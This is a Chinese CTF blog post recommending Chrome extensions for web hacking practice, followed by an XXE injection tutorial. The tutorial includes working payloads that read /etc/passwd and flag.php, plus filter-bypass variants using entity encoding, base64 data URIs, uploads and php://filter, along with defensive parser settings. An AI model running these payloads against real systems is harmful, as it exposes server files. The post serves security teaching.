CTF|你所关注的CTFer都在用的插件合集【附:XXE补给+CTF训练集】

👉不看后悔系列,建议收藏👍

相信大家对 CTF 都不陌生了,今天为大家带来了一系列 CTF 必备 Chrome 插件。

CTF

可能很多人想学 CTF,但又怕零基础学不懂。其实,CTF 并没有那么难。

CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF 是一种流行的信息安全竞赛形式,其英文名可直译为“夺得Flag”,也可意译为“夺旗赛”。

很多大赛的大致流程是,参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数。

为了方便称呼,我们把这样的内容称之为“Flag”。

还有就是以答题分先后获取相应的分数,进行排名赛,这也是很多高校 CTF 所热衷的一种比赛形式。(例子就不举了,相信你的学校也有这种比赛,可多多关注)

在民间还流传着很多各式各样的 CTF 练习题或平台,有的专项的针对性训练,比如说 XSS 挑战,有的是类似于“游戏”形式的 CTF 训练。

📌【相关 CTF 资料/平台,见文末❤】(够你吃一个月的纯干粮😀)

Chrome 插件

那就直奔主题吧,先来个“老熟人”。

HackBar

这个不多说,必备的。(在 Chrome 上有几个版本,用自己喜欢的)

或者你可以用 firefox 上的版本,算是插件中的“大哥大”了。

Proxy SwitchyOmega

这个用来切换代理很方便。

chrome.google.com/webst

管理界面如下:

比如添加一个 Burpsuite 的代理设置

使用的时候只需点击切换即可,特方便。

EditThisCookie

这个用来查看、修改 cookie 很方便。

chrome.google.com/webst

比如我登录了知乎,我只需点一下右上角的快捷方式,就可以看到当前的 cookie 值。

(方不方便,你用用就知道!)

ModHeader

功能有点多,用得最多的还是加 head 头。

添加和修改HTTP请求标头和响应标头。

chrome.google.com/webst

功能特征👇

  • 添加/修改/删除请求标头和响应标头
  • 启用基于URL /资源类型的标题修改
  • 在标题中添加评论 -多个不同的配置文件
  • 按名称,值或注释对标题进​​行排序
  • 将值附加到现有请求或响应头
  • 导出和导入标题
  • 克隆个人资料
  • 云备份
  • 标签锁定

JavaScript Toggle On and Off

一键禁用/开启 js。(你想执行JS?我说了算!)

chrome.google.com/webst

Wappalyzer

可发现网站上使用的技术。它检测内容管理系统、电子商务平台、Web框架、服务器软件、分析工具等。

chrome.google.com/webst

更多的是用于查看服务器的配置。(把你“扒光”只需要一秒钟)

Video Downloader professional

可下载网页中的视频。。。(咳咳,敲黑板,用于 CTF 学习哈)

chrome.google.com/webst

下载管理器

为什么要推荐这个?你用 Chrome 下载东西试试,我相信你会回来的。

chrome.google.com/webst

好了,今天分享的 Chrome 插件就这些了(如有更好更棒的插件,欢迎下方评论区疯狂戳我)


周末别闲着,快起来学知识了。 —— 二向箔安全

XXE 补给站

众多 CTF 题型中,XXE 无疑是一大难题,有多少英雄豪杰倒在了 XXE 的碎花裙下,今天我们就来掀开这神秘的面纱。

XXE 漏洞(XML External Entity Injection)即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起 dos 攻击等危害。xxe 漏洞触发的点往往是可以上传 xml 文件的位置,没有对上传的 xml 文件进行过滤,导致可上传恶意 xml 文件。

XML

在掀裙之前,我们要先搞清楚 XML 是啥?

XML:可扩展标记语言,标准通用标记语言的子集,XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。与 HTML 的区别:

  • HTML 被设计用来显示数据
  • XML 被设计用来传输和存储数据

XML 文档结构

XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素。

<!--XML申明-->
<?xml version="1.0" encoding="utf-8"?>
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Zhihu</to>
<from>Twosecurity</from>
<head>Hello</head>
<body>Nice to meet you</body>
</note>

XXE 漏洞其中的 DTD 文档相关。

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。

内部声明DTD:

<!DOCTYPE 根元素 [元素声明]> 

引用外部DTD:

<!DOCTYPE 根元素 SYSTEM "文件名"> 

DTD文档中有很多重要的关键字如下:

  • DOCTYPE(DTD的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)

实体

实体可以理解为变量,其必须在 DTD 中定义申明,可以在文档中的其他位置引用该变量的值。实体按类型主要分为以下四种:

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)

实体根据引用方式,还可分为 内部实体 与 外部实体:

内部实体:

<!ENTITY 实体名称 "实体的值"> 

外部实体:

<!ENTITY 实体名称 SYSTEM "URI">

外部实体

外部实体即在DTD中使用

<!ENTITY 实体名称 SYSTEM "URI">

实例演示:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY b SYSTEM "file:///etc/passwd">]>
<foo>
        <a>&b;</a> 
</foo>

举一个简单的 XXE

传输数据的 XML 文档 demo:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ELEMENT name (#PCDATA)>
    <!ELEMENT pass (#PCDATA)> 
]> 
    <root> 
        <name>admin</name> 
        <pass>password</pass> 
    </root>

如果在这里使用外部实体

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
 ]>
<test>
    &xxe;
</test>

另一种是调用 dtd 文档的

<?xml version="1.0" ?>
<!DOCTYPE test [ 
    <!ENTITY %file SYSTEM "http://127.0.0.1/test.dtd">
    %file;
]>
<test>
    &xxe;
</test>

test.dtd 的内容为:

<!ENTITY xxe SYSTEM 'file:///etc/passwd'>

XXE 绕过姿势

整理众多 CTF 大赛中的 XXE 题,这里汇总了一些常用的绕过姿势(若有错误、不全,欢迎大佬评论区指正,小弟感激不尽🤝)

大小写绕过

利用其正则匹配的不严格,通过大小写绕过

html 实体编码绕过

如果过滤了http等协议,可以利用实体编码绕过:

<?xml version="1.0" ?>
<!DOCTYPE test [ 
<!ENTITY % a " 
    <!ENTITY %  b SYSTEM 'http://127.0.0.1/test.dtd'> 
"> 
    %a;
    %b; 
]> 
<test>
    &xxe;
</test>

data:// 协议绕过

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % a SYSTEM "data://text/plain;base64,PCFFTlRJVFkgJSAgYiBTWVNURU0gJ2h0dHA6Ly8xMjcuMC4wLjEvaGFjay5kdGQnPg=="> 
    %a; 
    %b; 
]>
<test>
    &xxe;
</test>
<!--编码内容-->
<!ENTITY % b SYSTEM 'http://127.0.0.1/test.dtd'>

file:// 协议加文件上传

<?xml version="1.0" ?>
<!DOCTYPE test [ 
    <!ENTITY % a SYSTEM "file:///var/www/uploads/test.jpg">
    %a; 
]>
<!--上传文件-->
<!ENTITY % b SYSTEM 'http://127.0.0.1/test.dtd'>

php://filter协议加文件上传

<?xml version="1.0" ?>
<!DOCTYPE test [ 
    <!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/test.jpg">
    %a;
]>
<test>
    &xxe;
</test>
<!--上传文件-->
<!ENTITY xxe SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>

进行编码:

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/test.jpg">
    %a;
]>
<test>
    &xxe;
</test>
<!--上传文件-->
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==

XXE 漏洞修复与防御

1️⃣推荐使用开发语言提供的禁用外部实体的方法。

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2️⃣过滤用户提交的 XML 数据

过滤关键词:

  • <!DOCTYPE
  • <!ENTITY
  • SYSTEM
  • PUBLIC

有关 Chrome 插件、XXE 的内容就简单介绍到这里。更多有关 XXE 漏洞的知识拓展请前往 二向箔安全 进行学习,最近推出了一系列免费的网络安全技能包,有关CTF、渗透测试、网络攻防、黑客技巧尽在其中,学它涨姿势💯。

附(够吃一个月的纯干粮)(若无法访问评论区戳我💡):

训练场

CG CTF

CG-CTF

二向箔安全训练场

twosecurity.cn/courseTa

Hacker101

github.com/Hacker0x01/h

Jarvis OJ(贾维斯)

jarvisoj.com/challenges

SQLI实验室

Audi-1/sqli-labs

XSS game

xss-game.appspot.com/

Pikachu

一个好玩的Web安全漏洞测试平台

zhuifengshaonianhanlu/pikachu

BugkuCTF

BugkuCTF - 练习平台

CTF_论剑场

Sign in - CTF_论剑场

Root Me

root-me.org/en/Capture-

XSS Challenges

xss-quiz.int21h.jp/

皇家邮电渗透测试平台

cms.nuptzj.cn/

XCTF(攻防世界)

adworld.xctf.org.cn/

DVWA(在线版)

43.247.91.228:81/login.

vulnspy.com/dvwa/

XSS 闯关游戏

xss.haozi.me/

BUUCTF 训练平台

buuoj.cn/


知识库

Web CTF 备忘录

w181496/Web-CTF-Cheatsheet

Bugku工具库

tool.bugku.com/

发布于 2019-11-22

文章被以下专栏收录